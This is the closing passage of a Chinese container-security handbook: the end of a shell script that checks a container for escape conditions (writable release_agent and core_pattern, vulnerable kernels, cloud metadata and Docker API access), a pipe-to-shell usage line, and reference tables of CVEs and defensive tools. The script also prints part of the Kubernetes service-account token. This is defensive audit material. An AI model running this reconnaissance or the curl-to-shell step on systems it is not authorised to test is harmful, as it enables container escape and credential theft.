CGROUP_TYPE=$(stat -fc %T /sys/fs/cgroup/ 2>/dev/null)
echo " Cgroup 类型: $CGROUP_TYPE"
NFT_COUNT=$(find /sys/fs/cgroup -name "release_agent" -writable 2>/dev/null | wc -l)
if [ "$NFT_COUNT" -gt 0 ]; then
echo " [!!!] release_agent 可写: $NFT_COUNT 个!"
else
echo " [+] release_agent 只读或不存在"
fi
echo ""
echo "────────────────────────────────────────────────"
echo "[7] /proc 敏感文件"
echo "────────────────────────────────────────────────"
[ -w /proc/sys/kernel/core_pattern ] 2>/dev/null && echo " [!!!] core_pattern 可写!" || echo " [+] core_pattern 不可写"
[ -w /proc/sysrq-trigger ] 2>/dev/null && echo " [!!!] sysrq-trigger 可写!" || echo " [+] sysrq-trigger 不可写"
[ -r /proc/kallsyms ] 2>/dev/null && echo " [!!] kallsyms 可读 (KASLR 可绕过)" || echo " [+] kallsyms 不可读"
[ -r /proc/kcore ] 2>/dev/null && echo " [!!!] kcore 可读!" || echo " [+] kcore 不可读"
echo ""
echo "────────────────────────────────────────────────"
echo "[8] 内核漏洞检查"
echo "────────────────────────────────────────────────"
KVER=$(uname -r)
KVER_MAJOR=$(echo $KVER | cut -d. -f1)
KVER_MINOR=$(echo $KVER | cut -d. -f2)
echo " 内核: $KVER"
if [ "$KVER_MAJOR" -eq 5 ] && [ "$KVER_MINOR" -ge 8 ] && [ "$KVER_MINOR" -le 16 ]; then
echo " [!!!] 可能受 Dirty Pipe (CVE-2022-0847) 影响"
else
echo " [+] 不受 Dirty Pipe 影响"
fi
if [ "$KVER_MAJOR" -lt 5 ] && [ "$KVER_MINOR" -lt 9 ]; then
echo " [!!!] 可能受 Dirty COW (CVE-2016-5195) 影响"
fi
echo ""
echo "────────────────────────────────────────────────"
echo "[9] OverlayFS 信息泄露"
echo "────────────────────────────────────────────────"
UPPERDIR=$(grep -oP 'upperdir=[^,]+' /proc/self/mountinfo 2>/dev/null | head -1)
if [ -n "$UPPERDIR" ]; then
echo " [!] 宿主机路径: $UPPERDIR"
else
echo " [+] 无 OverlayFS 路径泄漏"
fi
echo ""
echo "────────────────────────────────────────────────"
echo "[10] K8s 环境检查"
echo "────────────────────────────────────────────────"
SA_DIR="/var/run/secrets/kubernetes.io/serviceaccount"
if [ -d "$SA_DIR" ]; then
echo " [!] K8s 环境 — SA Token 存在"
echo " Namespace: $(cat $SA_DIR/namespace 2>/dev/null)"
echo " Token (前80字符): $(cat $SA_DIR/token 2>/dev/null | head -c 80)..."
else
echo " [+] 非 K8s 环境"
fi
echo ""
echo "────────────────────────────────────────────────"
echo "[11] 云 Metadata 检查"
echo "────────────────────────────────────────────────"
if command -v curl &>/dev/null; then
AWS_RESP=$(curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/ 2>/dev/null)
if echo "$AWS_RESP" | grep -q "instance-id"; then
echo " [!!!] AWS IMDS 可访问!"
fi
AZURE_RESP=$(curl -s --connect-timeout 2 -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" 2>/dev/null)
if echo "$AZURE_RESP" | grep -q "compute"; then
echo " [!!!] Azure IMDS 可访问!"
fi
GCP_RESP=$(curl -s --connect-timeout 2 -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/id" 2>/dev/null)
if [ -n "$GCP_RESP" ]; then
echo " [!!!] GCP Metadata 可访问!"
fi
fi
[ -z "$AWS_RESP" ] && [ -z "$AZURE_RESP" ] && [ -z "$GCP_RESP" ] 2>/dev/null && echo " [+] 云 Metadata 不可达"
echo ""
echo "────────────────────────────────────────────────"
echo "[12] 网络和 Docker API"
echo "────────────────────────────────────────────────"
ip addr show 2>/dev/null | grep -E "inet " | head -3
echo ""
if command -v curl &>/dev/null; then
DOCKER_API=$(curl -s --connect-timeout 2 http://docker:2375/version 2>/dev/null)
if echo "$DOCKER_API" | grep -q "Version"; then
echo " [!!!] Docker Daemon TCP API (2375) 无认证可访问!"
else
echo " [+] Docker API 不可达"
fi
fi
echo ""
echo "────────────────────────────────────────────────"
echo "[13] 其他危险文件/工具"
echo "────────────────────────────────────────────────"
for tool in nsenter unshare capsh setcap getcap insmod modprobe; do
command -v $tool &>/dev/null && echo " [!!] $tool 可用" || true
done
[ -f /.dockerenv ] && echo " [i] /.dockerenv 文件存在"
[ -S /var/run/containerd/containerd.sock ] && echo " [!!!] containerd Socket 可用!"
echo ""
echo "╔════════════════════════════════════════════════╗"
echo "║ 检查完成 ║"
echo "╚════════════════════════════════════════════════╝"
使用方式:
# 容器内直接执行
curl -sL http://your-server/check-escape.sh | sh
# 或者手动复制脚本,然后:
chmod +x container-escape-check.sh
./container-escape-check.sh
附录 F:参考资料
核心漏洞
| 漏洞编号 | 描述 | 参考链接 |
|---|---|---|
| CVE-2019-5736 | runc /proc/self/exe 覆盖导致宿主机代码执行 | https://github.com/advisories/GHSA-67h7-q3rv-84hr |
| CVE-2024-21626 | runc WORKDIR fd 泄漏导致容器逃逸 | https://github.com/advisories/GHSA-xr7r-f8xq-c5gf |
| CVE-2022-0847 | Dirty Pipe — Linux 内核页缓存写任意文件 | https://dirtypipe.cm4all.com/ |
| CVE-2016-5195 | Dirty COW — 写只读内存映射 | https://dirtycow.ninja/ |
| CVE-2024-1086 | Linux 内核 nf_tables UAF 本地提权 | https://github.com/Notselwyn/CVE-2024-1086 |
| CVE-2025-31xxx | runc 安全公告三连 | 参考前文 runc 安全演进章节 |
官方文档和最佳实践
| 资源 | 说明 | 链接 |
|---|---|---|
| Docker Security | Docker 官方安全文档 | https://docs.docker.com/engine/security/ |
| K8s Pod Security Standards | Kubernetes Pod 安全标准 | https://kubernetes.io/docs/concepts/security/pod-security-standards/ |
| CIS Docker Benchmark | CIS Docker 安全基线 | https://www.cisecurity.org/benchmark/docker |
| CIS Kubernetes Benchmark | CIS Kubernetes 安全基线 | https://www.cisecurity.org/benchmark/kubernetes |
| OWASP Container Security | OWASP 容器安全校验表 | https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html |
| NIST SP 800-190 | 容器安全指南 | https://csrc.nist.gov/publications/detail/sp/800-190/final |
开源安全工具
| 工具 | 用途 | 链接 |
|---|---|---|
| Falco | 容器运行时威胁检测 (CNCF) | https://falco.org/ |
| Trivy | 容器镜像/文件系统漏洞扫描 | https://aquasecurity.github.io/trivy/ |
| gVisor | 用户态内核, 强隔离容器运行时 | https://gvisor.dev/ |
| Kata Containers | 轻量级 VM 容器运行时 | https://katacontainers.io/ |
| Docker Bench Security | Docker 安全基线自动检查 | https://github.com/docker/docker-bench-security |
| kube-bench | K8s CIS 基线检查 | https://github.com/aquasecurity/kube-bench |
| AppArmor | Linux LSM 强制访问控制 | https://gitlab.com/apparmor/apparmor |
| seccomp | 系统调用过滤 | https://github.com/seccomp/libseccomp |
| Tracee | 容器运行时安全 (eBPF) | https://github.com/aquasecurity/tracee |
| Kubescape | K8s 安全扫描 | https://github.com/kubescape/kubescape |
Linux 内核文档
| 资源 | 说明 | 链接 |
|---|---|---|
| Namespaces Manual | Linux Namespaces 手册 (man 7 namespaces) | https://man7.org/linux/man-pages/man7/namespaces.7.html |
| Cgroups Manual | Linux Cgroups 手册 (man 7 cgroups) | https://man7.org/linux/man-pages/man7/cgroups.7.html |
| Capabilities Manual | Linux Capabilities 手册 (man 7 capabilities) | https://man7.org/linux/man-pages/man7/capabilities.7.html |
| OverlayFS Kernel Doc | OverlayFS 内核文档 | https://www.kernel.org/doc/html/latest/filesystems/overlayfs.html |
| Seccomp Manual | seccomp 手册 (man 2 seccomp) | https://man7.org/linux/man-pages/man2/seccomp.2.html |
| proc Manual | /proc 文件系统手册 (man 5 proc) | https://man7.org/linux/man-pages/man5/proc.5.html |
附录导航
| 附录 | 内容 | 用途 |
|---|---|---|
| 附录 A | 一键内核安全检查脚本 | 快速评估容器安全态势, 输出彩色风险矩阵 |
| 附录 B | Falco 统一检测规则集 | 25条生产级检测规则覆盖全攻击面 |
| 附录 C | 容器安全基线检查清单 (40项) | 安全审计对照表, 支持逐项通过/不通过 |
| 附录 D | 逃逸技术速查决策树 | 按条件快速定位最优逃逸路径 |
| 附录 E | 常用检查命令速查 | 容器内一键检查脚本, 13类评估 |
| 附录 F | 参考资料 | CVE 编号、官方文档、安全工具、内核文档索引 |
本手册完。所有技术内容仅供授权安全测试和学术研究使用。
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐



所有评论(0)